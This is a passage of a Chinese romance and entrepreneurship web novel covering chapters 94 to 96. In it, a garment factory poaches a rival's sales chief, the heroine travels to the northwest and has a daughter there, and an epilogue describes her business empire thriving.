他们成天说自己是叫得上名号的大厂子,结果款式都是抄的,甚至抄的还卖不过红绵服装厂那么个小作坊……这是销售科的问题吗,这明摆着是设计科的问题啊! 哪怕有人心里默默地站霍英玉,但没人会在这种时候抻头说什么的。 葛科长和贾科长已经气到想打人了。 “霍英玉,我***跟你没完!” “走,去找厂长,***这个厂子有***霍英语就没***我!” 情绪激动的俩人站起来就要往外走,结果就听见身后霍英玉极度平静的声音:“我更不想和你们一个厂子,所以辞职报告我已经写好了。” …… 柳绵绵和蒋红梅正在办公室里商量服装厂接下来的安排,刘安民急匆匆走进来:“两位老板,好消息,一个特大好消息!” 柳绵绵从文件中抬头,挑眉问:“怎么,咱们销量再创新高了?” 蒋红梅抬头看了刘安民一眼,马上又低下头继续琢磨自己搞不懂的地方去了,随口说:“柳老板,别理他,他就是喜欢大惊小怪。” 刘安民可不觉得自己是大惊小怪:“顶好不是出了个灯芯绒外套的新款吗,那个价格比咱们风衣高不少,销量不太好。听说他们原本对这个款式非常有信心,进了不少的料子,现在销量不好,也不敢继续大批量生产了。” “然后他们就开会商量怎么办,结果怎么着,设计科和生产科的人都把责任推给销售科,销售科科长霍英玉直接被惹毛了,当场喷了对方一顿,然后就向厂里辞职了。” 柳绵绵来了点兴趣:“你高兴的原因是他们销量不好,还是他们销售科长辞职?” 刘安民嘴巴都快咧到耳根了:“那当然是两个都高兴,不过,我更高兴他们销售科科长辞职。” 柳绵绵含笑:“你想挖这个人?” 刘安民一拍大腿:“可不是!” 说起霍英玉刘安民立马双眼晶亮:“你是不知道,这位女同志真的非常厉害。顶好原先其实就是个百来号人的小厂子,说是国营工厂,其实前身是街道办厂,改开之后,这种厂子不知道倒了多少。顶好据说也差点倒闭了,后面能重新起来,就是靠着霍英玉带着人一点一点重新建立起销售渠道。” “甚至周边有些县市的服装店,还是她带着人帮那些店主开起来的。他们厂子是咱们这一片所有服装厂中销售渠道最多最广的。” 刘安民摇头叹息:“建立销售渠道是最难的,渠道建立起来以后,其实就是日常的维护拓展了,其实顶好的销售科在这方面一直做得挺不错的。但是他们厂子内部却有不少人对霍英玉有看法,觉得没有做出新的成绩就是有问题的,对她继续坐着销售科长的位置有意见,反正这几年霍英玉应该过得挺憋屈的。” 蒋红梅早已放下手里的文件,皱眉道:“顶好那些都什么人啊,一帮白眼狼。” 柳绵绵倒觉得不奇怪。 与其说是大家对霍英玉没有做出新的成绩不满,倒不如说是顶好服装厂的领导巴不得这位“功高震主”的销售科长沉寂下去。 要是人人都记得这个厂子是因为霍英玉才能生存、壮大,那厂领导的威信又从何而来呢? 既然销售渠道已经成熟,这个时候不卸磨杀驴,什么时候杀? 霍英玉这回提出辞职,顶好甚至都不会挽留她。 但是对于他们来说,确实是个好机会。 不说霍英玉在销售上的能力与经验,单单她拥有的人脉、熟悉的渠道,对红绵服装厂来说,就是迫切需要的。 这样的人才,自然要不惜代价聘请过来。 听完柳绵绵的分析后,蒋红梅也着急了起来:“那你跟我们说有什么用,你赶紧去找人接触她去呀!” 刘安民挠挠头:“我这不是听到消息太高兴了,想着先跟你们通个气嘛!” 这时候楼下综合办的小崔突然跑上来:“刘厂长,外头有人找,她说她叫霍英玉,是来求职的。” 小崔有些疑惑:“咱们厂子最近也在招销售员吗?” 厂里最近订单爆了,一直在招收熟练的车工,这个他是知道的,但是招不招销售员,他还真是不确定。也是看那个叫霍英玉的女同志,看着气势很强,比他们厂里的几位老板还要像老板,小崔才赶紧上来问问的。 刘安民愣了一下,反应过来以后,声音都有些发颤:“你说谁来求职?” 小崔感觉刘副厂长的态度怪怪的:“霍英玉啊,咱们不招的话,要不我给人回掉?” 刘安民立马摆手:“哎哟,小祖宗哎,那可是能帮着咱们厂子做大做强的大佛,怎么能给人回掉,我跪着把人接进来还差不多!走走走,咱们走,可别让人等久了。” 看得出来,刘安民是非常的激动了,碎碎念着就跑下了楼,小崔都差点没追上他的脚步。 柳绵绵看得发笑,支着下巴叹了一声:“真是干劲满满呐!” 感觉红绵服装厂做大做强已经指日可待了。 蒋红梅笑了起来:“那可不,刘安民现在可是天天念叨着要走向全国走向世界呢!” 尤其是这一季的新款卖爆了以后,刘安民简直恨不得自己跑去车间里跟工人一起踩缝纫机。 不过其实不单单刘安民激动,蒋红梅也很激动的。 每天厂子里生产多少就卖掉多少,这个厂子都不能说是生金蛋的母鸡了,简直就是产金蛋的流水线。 蒋红梅甚至有种错觉,感觉夜里睡在厂子宿舍里听见的不是工人加班踩缝纫机的声音,而是哗啦啦钱掉在地上的声音。 “快快快,你赶紧再给我讲讲,回头你去了西北,我想问你到时候也不一定能找到人。” 蒋红梅学习的心更加迫切了。 第95章 赶赴西北 霍英玉就这样加入了红绵服装厂。 她之前就经常听顶好服装厂那几个垃圾蛐蛐,说红绵服装厂是两个女人和一个怂包男人一起办起来的。她自己身为女人,自然不会觉得女人办厂有什么不对,相反,两个女人能把厂子办得这么红火,才是本事。 这其实也是她选择来红绵服装厂求职的原因。 知道她辞职,其实有好几个厂子都来找她,但是霍英玉再也不想听“娘们儿能干出什么来”这种屁话了,所以她主动出击,跑来了红绵服装厂。 进厂以后,霍英玉就知道自己来对了。 她可太喜欢红绵服装厂的氛围了。 几个老板没有架子,工作人员也基本都是年轻人,氛围特别轻松,但是轻松之余却又满满的都是干劲,几乎每个人都把“做大做强”挂在嘴上,每天上班都是劲劲儿的样子。 而让霍英玉更加惊喜的是,换了个厂子,她的工资不但没有降,反倒还升了一截儿,比在顶好服装厂的时候拿得还多。 原本家里对她突然辞职换工作还有些不满,这下也都不吭声了。工作嘛,最终还不就是奔着个工资去的,顶好服装厂的牌子再大,又不能当饭吃,真金白银可比那些虚名重要多了。 而且,霍英玉还发现,并不是说因为她在这行的资历深、自带渠道才工资高,当然,这个因素肯定也是有的,但绝对不是唯一的原因。 实际是红绵服装厂的整体工资水平就比顶好服装厂高。 就连车间工人的工资都比顶好服装厂高。 原来定的标准就高,最近加班加点的,加班费和各种补贴加上以后,就更高了。 难怪。 霍英玉也是听说过的,今年年初开始,红绵服装厂就在到处挖人,而且还真被他们挖了不少有底子的大师傅和车工。 人家工资标准这么高,能挖到人是真的不奇怪。 甚至她入职以后,那位传说中的“怂包男人”刘副厂长还向她暗示,如果能帮着从顶好挖人才,厂里还会给予一定的“介绍费”。 霍英玉倒是不在意什么介绍费,而是她观察过厂子的情况以后,确认这个厂子绝对能像几个厂领导说的那样“做大做强”,觉得给之前的老伙计、老部下介绍个好出路其实也未尝不可。 领导层团结一致,有眼光有能力,工人勤奋踏实,几乎没什么幺蛾子,有知名的设计师做后盾,年轻设计师也满满的灵气……这样的厂子做不起来,还有什么厂子能做起来? 入职不过几天时间,霍英玉沉寂已久的事业心就被激发出来了,很快地联系了原先熟悉的一些销售渠道,同时又联系了一些原先的老伙计、老同事,一边帮着红绵开拓渠道,一边挥舞锄头挖墙脚。 这天傍晚,附近的一家小饭馆里。 饭馆是黄副科长媳妇儿开的,原先他们销售科吃个饭聚个餐什么的,都会安排在这里。饭馆总共就一个包间,大部分时间还都是霍英玉他们在用。 “哎,霍科长这事儿真是办得太冲动了,好歹再忍个十来年,也就退休了。”老伙计甲手里夹着根香烟,叹了口气。 黄副科长搓搓脸,说:“一会儿人来了就别说这些了,霍科长的脾气大家都知道,她这几年其实也够忍那些人了。哎,不说这些,她要是有什么难处,咱们肯定得尽全力,能帮的就帮一下。” “其实她只要低个头,想回厂里也不是没办法……” 老伙计乙刚说到一半,黄副科长媳妇儿推门进来,把托盘往桌子上一放,说:“凭啥就要英玉姐低头,那帮狼心狗肺过河拆桥的,英玉姐又不是找不到工作,外头大把的人想请她呢,回什么回!” 老伙计乙想说那什么红绵服装厂能跟顶好相提并论吗? 不过一抬眼看到门外进来的人,又把话咽了回去。 霍英玉笑着走进来:“可不是,我可不回顶好,我不但自己不回,我还想劝你们也辞职去红绵呢。” 包间里几个人面面相觑,难以置信,嘴上虽然没说,但是眼神和表情都透露出一个信息:怎么可能,他们是疯了才会离开顶好去红绵那个小作坊。 一个多小时以后。 原本还信誓旦旦绝对不会离开顶好去红绵的几个人面面相觑。 老伙计乙发自灵魂的疑惑:“他们不就是个小作坊吗,工资能开这么高?工资开这么高,这维持不下去,会不会要不了多久就得倒啊?” 霍英玉笑着摇头,给他们说了红绵服装厂最近一个月的营收数据,房间内很快响起几声响亮的倒吸气声。 黄副科长难以置信地:“他们这都快赶上顶好的一半了!” 问题是红绵服装厂的规模还不到顶好的十分之一啊! 可想而知,厂子效益多么好! 效益好,但是人少,这工资能不高吗? 紧接着,霍英玉又淡淡抛出个重磅炸、弹:“目前在卖的其实都算是秋款和初冬款,接下去的冬装,我相信会卖得更好,有两个款式,非常非常非常漂亮。” 一连用了三个“非常”,是个人都能听出来霍英玉对这两个款式的喜爱了。 其他人再度面面相觑。 他们都了解霍英玉,她可不是葛科长、贾科长那种自以为是的性格,哪怕这些年厂子里故意抬着黄副科长,把她架空了,她也没有丢掉自己的专业,她对市场还是很敏锐的。 何况她自己本身就是个挺会穿衣服的女人,所以她会喜欢的衣服,绝对不少女同志都会喜欢的。 红绵服装厂最近也算是出了大风头了,尤其那款风衣,真的是卖爆了,不少厂子都在偷偷地抄版呢,甚至他们顶好其实也在抄了。 难以想象,比这款风衣卖得还好会是怎么样。 风衣还能紧赶慢赶地抄一波,冬衣到时候想抄也不可能了,最早也得到明年,这就意味着,如果红绵服装厂真能推出一款爆火的冬衣,那它没准就能直接跨越升级,扩张壮大了。 嘶。 工资高,前景好,这样的厂子,没准真不比顶好差。 …… 顶好服装厂这阵子真是哪哪儿都不顺,寄予厚望的灯芯绒外套没有卖火,堆在仓库里的布料也不知道怎么处理,这个节骨眼儿上,霍英玉辞职了。 辞职就辞职吧,厂子离开她霍英玉也不是转不了。 可没过多久,销售科又辞职了三个人,其中一个还是顶着霍英玉上去的黄科长。 啪嗒,一下子销售科就散架了。 原先大家都觉得销售科的人都是守着之前的渠道在吃老本,不就是跟原先渠道的人保持联系嘛,请客吃饭送礼,谁不会干啊? 可等销售科散架了之后,他们才发现,请客吃饭送礼也没那么简单,电话打过去,人家一听是个陌生人,就得问原先的销售员怎么不联系他。 听说原先的销售员已经辞职,那边马上就开始推脱,并且一通的抱怨,什么原先大家都熟悉,有什么事情也好沟通,现在换了人,大家都不认识,还是先熟悉熟悉再说。 怎么先熟悉熟悉呢?那自然得吃饭,而且不是一顿两顿,连着先喝三天再说,有一个算一个,都得给你喝趴了。 于是,业务没进展多少,人倒是先喝坏了几个。 生产停滞,销路打不开,厂子里一下子兵荒马乱的。 领导们商量来商量去,最后一拍桌子决定壮士断腕,把仓库里的布料低价处理掉,进一批新的布料,重新打造一个爆款! 爆款能不能打造出来且不说,仓库里那批料子倒是以低于成本价的价格出掉了。 没办法,他们外套销量不太好的事情同行多多少少都知道,愿意接手这批布料的人实在不多。 结果之后不久,顶好服装厂的人就发现,红绵服装厂又上了个新款,猪肝红灯芯绒布料的外套,短款上衣,配了根细细的皮腰带,搭灰色的伞裙,简直不要太洋气。 好嘛,又卖火了。 打听清楚这款布料是从通过中间人从他们厂子转手的以后,顶好服装厂的人差点没气吐血。 而就在秋风起,树叶开始转黄,顶好服装厂的一众领导气得吃不下饭的时候,柳绵绵踏上了远上西北的火车。 这一趟火车比南城到广市还要久,火车上就得待上差不多一周时间。 柳绵绵带了一叠从广市买来的各种杂志和报纸,余国栋则带了几本从广市买的书,俩人把车厢当书房,除了吃饭睡觉,大部分时间都在看书看杂志看报纸。 在广市的这段时间,柳绵绵干了不少事,梳理了红绵服装厂的组织架构、规章制度,为服装厂搭建好了大致的框架,可以说,服装厂接下来哪怕扩张成顶好这样的规模,也不会有什么问题了。 此外自然是和设计部的人一起商量定了年底乃至明年春天的服装风格,给邓爱琳是提了些建议,给其他几人则是干脆下了任务,完成任务之外,随便他们发挥。 加上这段时间新款热销、厂里不断地进人,蒋红梅和刘安民忙得脚不沾地,她自然也得帮帮忙。 而余国栋除了也搭把手帮些忙以外,倒是也干了不少事。 最重要的事情就是给罐头厂找到了几个大单子。 一开始是方芸芸哥哥的盒饭摊子,后面是方哥介绍了一些饭店的老板,再后面他干脆跟方哥签了个协议,把服装厂附近这一块的推销都交给了方哥,让方哥成了罐头厂的代理商。 通过这个方法,余国栋又在广市的其他区谈好了几个代理商,暂时说好两个月发一次货,货到了以后,再请人分别送给他们。 仓库暂时借用的服装厂的仓库,不大的一个地方,原先是堆杂物的。 至于送货的人就更简单了,两个月送一次货而已,服装厂员工家属里有的是人愿意挣这个钱。 因为订单量陡然增加太多,之前余国栋已经打电话回去,让余国梁赶紧想办法购买生产线了。甭管旧的新的,贵的便宜的,他们现在都买得起了! 这趟出门余国栋是真真切切感受到了,外面世界的广阔和自己眼界能力的不足。 也幸好他爹妈都很重视读书,给他们三兄妹都供到了中学,他当初学习不用功,但好歹也初中毕业了,在这年头学历也不算低了,自己看点书什么的完全没有问题。 余国栋现在真是比当初考高中的时候还要用功。 毕竟当初他知道自己考不上,倒也没怎么拼命,现在则是觉得不拼命不行了,红绵服装厂都在计划找新厂房扩大规模了,他们罐头厂肯定不能落后! 他俩这状态都把同车厢的其他四个人看呆了,一位带着孩子的大嫂每天都得冲十几岁的孩子说一遍:“瞧瞧人家哥哥姐姐多用功,你可得跟人学着点。” 十几岁的少年愁眉苦脸,再不情愿,也只能从包袱里拿出课本来。 大约是每天看书看报,过得比较充实吧,火车到站时,柳绵绵竟然有种“其实火车还挺快”的错觉。 拎着大包小包出了站,远远的,就见一个清瘦挺拔的身影站在出站口外面。 一眨眼几个月不见,沈维舟看上去黑了一点,也瘦了一点,柳绵绵迎上去,冲着他莞尔一笑:“咦,这个又瘦又黑又好看的小伙子是谁呀?” 沈维舟一下就笑了,伸手捉住她的手腕:“你说是谁?” 柳绵绵也笑,踮起脚尖凑到他耳边:“当然是维舟哥哥了。” 沈维舟扭头深深看了她一眼,拽着她就走:“回去了。” 夫妻俩手牵手就走了,扛着大包小包落在后面的余国栋:“……” 研究基地自然进不去,不过基地外围有几幢屋子,就是专门给过来探亲的家属住的。 沈维舟早定好了两个房间,余国栋把柳绵绵的行李往房间里一放,接过钥匙就回了自己的屋子。 与其在这儿看他们夫妻俩黏黏糊糊的,还不如回去多看两眼书呢! 如他所料,夫妻俩黏黏糊糊到了天黑,才牵着手出来找余国栋一起去吃饭。 附近也没什么饭店,吃饭就只有一个小食堂,现在还没到年底探亲的人最多的时候,小食堂里面吃饭的人并不多。 余国栋也是锻炼出来了,买饭的时候就跟小食堂的师傅搭上话了,聊着聊着,就从随身的挎包里掏了个罐头递给了师傅。 沈维舟回头看了眼,扭头看柳绵绵:“二哥这是?” 柳绵绵笑道:“厉害吧?他现在脸皮贼厚,之前在火车上,还给其他旅客推销罐头来着呢,反正我们那一节车厢的人,不管天南海北的,现在都知道咱们罐头厂的大名了。” 柳绵绵忍不住叹息,这样下去,她躺着收钱赚个小目标的梦想没准很快就能实现了。 沈维舟往她手里塞筷子,淡定道:“挺不错的,大哥二哥确实可以好好锻炼锻炼,正好你也歇歇。” 柳绵绵歪头看着他一本正经的表情,心说别人不知道的,听见这话没准还以为她有多辛苦呢。 辛苦当然是辛苦的,创业嘛,总是劳心费神的。 只不过她一般都是动动嘴动动脑子的事情,倒是也没那么辛苦。 余国栋在西北待了三天,期间不但搞定了小食堂的大师傅,跟人家签了个小单子,还去离基地最近的县城叶城逛了一圈,顺便找了个代理人。 西北土地贫瘠,本身蔬菜种类就比较少,蔬菜罐头在这里具有广阔的市场。 三天后,柳绵绵和沈维舟一起将人送上了火车。 余国栋挥挥手就飞快跑进车厢了,他出来也挺久了,巴不得赶紧回南城。 当然,还有一个原因是,他真的感觉自己在这儿有点多余。 他也是有媳妇儿的人,回家,找自己媳妇儿去!魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第96章【正文完】 第96章 一年又一年 柳绵绵原本是只打算在西北待上一阵的,十天半个月,总之不会超过一个月,过来陪陪沈维舟,顺便也看看这个年代西北的风土人情。 但是计划赶不上变化。 等到她准备回南城的时候,西北突然下起了暴雪,道路被埋,火车停开,她回不去了。而等到道路终于畅通,柳绵绵却又意外发现自己怀孕了。于是她就在西北待了下来。 翌年九月三日,柳绵绵在叶城医院产科病床上醒来。 俞婉和刘婶守在窗前,见她醒了,忙问:“怎么样,要不要喝水,吃点东西?” 柳绵绵疲惫地眨了眨眼:“孩子呢?” 刘婶从旁边的床上抱起孩子凑到她眼前:“瞧这孩子长得多漂亮,眼线长长的,嘴角翘翘的,比维舟小时候还好看。” 柳绵绵神情茫然了一瞬:“是男孩儿吗,之前护士明明说是女孩儿?” “女孩儿,是女孩儿,小脾气可大呢,哭起来嗷嗷的。”刘婶忙说。 柳绵绵仔细打量了眼孩子,老实说,她是一点没看出来这孩子好看在哪里,红皮猴子似的,丑丑的。 不过听说小孩子都是一天一个样儿,过几天应该就会好看了。 门外响起一阵急促的脚步声,病房的门被突然推开,灰头土脸的沈维舟几步走到病床前,他想上前握握妻子的手,又很快意识到自己满身风尘,不能接触产妇,只好站定在两步之外,紧张地打量因为生产而显得分外虚弱的妻子。 “绵绵,你感觉怎么样?”沈维舟的嗓音有些干哑。 柳绵绵翻了个白眼:“我感觉疼死了,累死了。” 沈维舟难得有些无措:“那,那我问问医生有没有百分百安全的止痛药,还有、还有鸡汤,我让方大厨炖了鸡汤的……” 他转身就要出门,刘婶赶紧喊住他:“哎哟,鸡汤早拿来了,止痛药不能吃,是药三分毒!” 柳绵绵噗嗤笑了出来,嘀咕了声“呆子”,说:“赶紧先去洗洗吧,洗完了过来抱孩子。” 沈维舟去洗了洗,换了身衣服,才回到病房。 从俞婉手里接过孩子的时候,他几乎屏住了呼吸。 这是他和绵绵的孩子。 她那么小,那么柔弱,那么美好。 她睡得很香,嘴角微微上翘,像是噙着个甜甜的笑。 如果说在这一天之前,沈维舟研究武器,是为了身为研究员的责任、对国家的责任,这一天之后,他似乎又多了一个理由,那是身为父亲的责任,身为父亲想要呵护女儿在和平环境中幸福成长的责任。 而刚刚出生的小月月还不知道,就在她出生的这一天,她的父亲试验成功了最新型的地对空导弹,技术遥遥领先世界,并且,在此后的几十年中,但凡她父亲参与的研究项目,都会让世界为之震惊。 这一年年底,沈维舟终于带着妻子女儿回到了南城。 一年多的时间里,柳绵绵投资的项目以令人难以置信的速度发展着。 西餐厅开了一家分店,说是分店,其实规模和酒楼差不多,比老店占地更广、装修更豪华,并且已经成为了地标性的建筑。 炸鸡店的数量成倍增长,并且许海棠已经不满足于只在南城开店了,她听取柳绵绵的建议,将炸鸡店做成了连锁加盟品牌,目前加盟店已经在周边省市和沪市、广市甚至京市遍地开花。 余家兄弟管理的罐头厂、榨油厂已经扩大了一次规模,不过随着市场的不断扩大,厂房依然在不断建设之中。受这两个厂子的带动,短短时间,前进乡已经今非昔比。 哦,前进乡现在已经不叫前进乡了,人家现在叫富民镇。 由于厂子里的事情太多,留下村的鱼塘和山地,余家人已经转手给关系比较好的亲戚朋友了。 村里人如今不是在厂子里做工,就是自己承办土地种花生,也有瞧着镇上人越来越多,干脆去镇上摆摊卖东西的,总之不管做什么,收入都比以往多了许多。 大约是生活忙碌了,手里的钱也多了,村里的氛围倒是和谐了不少,为点鸡毛蒜皮的东西就吵架的事情,已经很少了。 王志远的养殖场是扩张得最快的,早在柳绵绵去西北后不久,他就打电话跟柳绵绵拉了一笔投资,然后以留下村为中心点,往周边的村子扩张了五家养殖场,哪怕如此,依然供不应求。 没办法,炸鸡店、罐头厂都发展得太快了,他光光是供应他们原材料都够呛,何况镇上每年还给他下了一定的生猪指标。 只好把五湖四海的战友都摇过来,把养殖场一扩再扩。 伍衡管着的录像厅倒是没有太大的变化,唯一就是大都会倒了以后,他把人家的录像厅全给弄了过来,直接就把录像厅市场给垄断了。这家伙不愧是在广市混了多年的,脑子活络,胆子也大。录像厅开着还不过瘾,最近已经在筹划弄电影院了。 八十年代初就有私人电影队了,主要是扛着设备乡下放电影的模式。现在也算是八十年代末了,私人能不能开电影院,柳绵绵还真不知道,至少南城还是没有的。 这也正常,且不说政策如何,开一家电影院的投入可不小。 李耀明那部《柳娘与书生》如柳绵绵所料,上映以后马上高开疯走,单单在港城票房就达到了三千多万,加上弯岛、内地和其他国家的票房,总计超过了五千万。 哪怕伍衡投资的额度不大,他也是赚得盆满钵满了。 大概是发现娱乐行业太能赚钱了,伍衡不止想拉着柳绵绵一起开电影院,他甚至还准备继续投资拍电影电视剧。 柳绵绵觉得,照这个趋势发展下去,伍衡高低得成为未来的娱乐界大佬。 至于蒋红梅和刘安民负责的服装厂和服装店就更不用说了,天时地利人和的条件下,通过一年多的发展,早已超越顶好服装厂了。 这其中有红绵服装厂发展速度太快的关系,当然也有顶好服装厂持续走下坡路的关系。 销售渠道收缩,连着几个季度的衣服款式市场反响都平平,据说顶好服装厂这一季已经干脆摆烂直接抄市场上的款了。 由于大部分心思都花在服装厂上,服装店这边干脆改成了红绵服装厂的直营店,顺便跟着炸鸡店的脚步,把直营店也开到了其他省市。 每一个合伙人都在奋力拼搏,柳绵绵忽然发现,自己似乎完全可以躺平了。 “我看顶好是撑不了多久了,人心一散,起码的质量都保证不了了。按理现在这样的市场行情,怎么做都不至于亏成那样的,结果人家还就一直亏。”蒋红梅在电话里吐槽顶好服装厂。 原本他们跟顶好其实是八竿子打不着的,只是霍英玉入职以后,断断续续地挖了不少人过来,顶好自然就把他们当成了眼中钉肉中刺。 这一年多时间里,顶好自己的业务开展得没多好,倒是给红绵服装厂连续不断地挖了不少坑,以至于蒋红梅和刘安民都烦死那帮人了。 难怪这个厂子明明形势一片大好,却越做越差呢,里面的人都把心思花在争权夺利和互相倾轧上了,再好的形势也与他们无关。 柳绵绵握着话筒有一搭没一搭地应着,怀里小月月睁着一双水灵灵的大眼睛,好奇看着妈妈手里的东西,小嘴巴里“呜呜,呜呜呜”说个不停。 柳绵绵拿塞在衣服上的口水巾给孩子擦了擦口水,听到蒋红梅在电话里话题一转,又说:“有时候我都不知道你的脑子是怎么长的,你说你怎么就刚好把股票都给抛掉了呢?听说港城股市现在一天一个样儿,好多人都亏得要上天台跳楼。就咱们老厂房房东阿春婆婆的女婿的哥哥,听说早年偷渡去的港城,前两年股市行情好,他回广市给爹妈买了楼,现在亏得都要回来卖楼了。” “我那时候准备生孩子做月子了嘛,哪有心思顾着这些,当然是能抛就先抛掉,落袋为安了啰。”柳绵绵随口说。 她差不多就是在闺女出生前几天打电话到港城,让经纪把所有股票出清掉的。 其实那时候还有一个多月的行情,并且港城股市会涨到难以置信的高度。 正是形势大好的时候,股票经纪也不能理解,这种行情抛股票,跟亏钱有什么区别? 只是柳绵绵明确表示自己要生孩子了,没心思再打理股票,经纪虽然内心觉得因为要生孩子就出清股票,实在是太离奇,不过自然也不能勉强,于是慢慢把股票都抛掉了。 等到港城股市大跌之后,经纪倒是又打过一个电话来,直呼小千金是幸运星,帮妈妈守住了财。 蒋红梅不禁再次感慨,柳绵绵是真会挣钱,不管是投资还是股票,从来就没有失手的时候。 难以想象,几年前她还是刚刚从乡下回到军工大院的小可怜,被父母忽悠着嫁给据说几乎已经病入膏肓的沈维舟……如今柳家父子、夫妻都快变成仇人了,眼看着是越过越差,反倒是柳绵绵,蒋红梅也算是知根知底了,有时候悄悄算一算,简直难以置信。 柳绵绵的身家早已超过千万,这么下去上亿好像也不是不可能了。 嘶。 “钱太多,会不会也挺烦恼的?”蒋红梅调侃道。 柳绵绵香了闺女嫩嘟嘟的小脸一下,同样开玩笑说:“当初得知沈维舟病入膏肓,我就决定了,要好好挣钱,先挣它个几千万上亿的,到时候怎么也得做个有钱的富婆小寡妇,再找个年轻帅气、体贴温柔的小奶狗,日子不要太舒服。” 蒋红梅经常听柳绵绵评价这个小奶狗,评价那个小狼狗的,自然知道她说的什么意思,忍不住噗嗤笑了出来:“你倒是志向远大,就不知道沈维舟知道了会怎么想?” 柳绵绵抱着闺女换了个姿势:“他怎么会听见……” 忽然发现闺女“呜呜呜,呜呜呜”地挣扎了起来,她眼皮一抬,就见房门口不知什么时候站了个清瘦挺拔的身影。 逆着光,看不清脸上的表情。 她赶忙随口说了句“有事”,就把电话给挂了。 沈维舟走进来,并没有说什么,而是径自弯腰捞起闺女,甚至冲着闺女笑了下,然后抱着闺女就转身走了。 柳绵绵怔了下,莫名有种丈夫拐着闺女跑了的错觉,忙趿着拖鞋站了起来:“沈维舟!” 沈维舟抱着闺女进了东厢,小家伙一到爸爸怀里,黑葡萄一样的眼睛眨着眨着,眼皮就开始往下掉,肉乎乎的小手蜷着,很快就睡着了。 沈维舟温柔看了怀里的小家伙一眼,小心翼翼将人放进被窝里。 柳绵绵跟着进来,坐在他身旁,轻声问:“睡着了?” 小家伙每次在妈妈怀里总是精神抖擞,怎么抱她拍她都不肯乖乖睡觉,一到了爸爸的怀里,就会奇迹般地分分钟入睡。 沈维舟没应声。 柳绵绵凑到他身边,歪头看他:“嗯?” 沈维舟淡淡瞥她一眼:“准备等我死了,再找个年轻帅气的?” 声线温柔,语气却让柳绵绵听出了几许危险,她忙甩锅:“我没有,你别乱说,是蒋红梅,对,就是蒋红梅,她说我这么能挣钱,多的是年轻小伙子凑上来。她这人,在广市待了两年,思想都被腐蚀了,居然这种话都说得出来,太过分了。” 沈维舟侧头看她,无奈一笑:“你啊!” 他伸手揽过妻子,吻了吻她的额头,轻声说:“放心,我会长长久久地活下去,不会给你这个机会的。” 好不容易有了重生一世的机会,他又怎么会不珍惜呢? 何况如今,他有了爱人,有了软肋,也有了期待。 柳绵绵舒服地靠在他的肩膀上。 “外面好像有鞭炮声。” “是啊,快过年了。” 不知不觉又走过了一年—— 正文完——魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m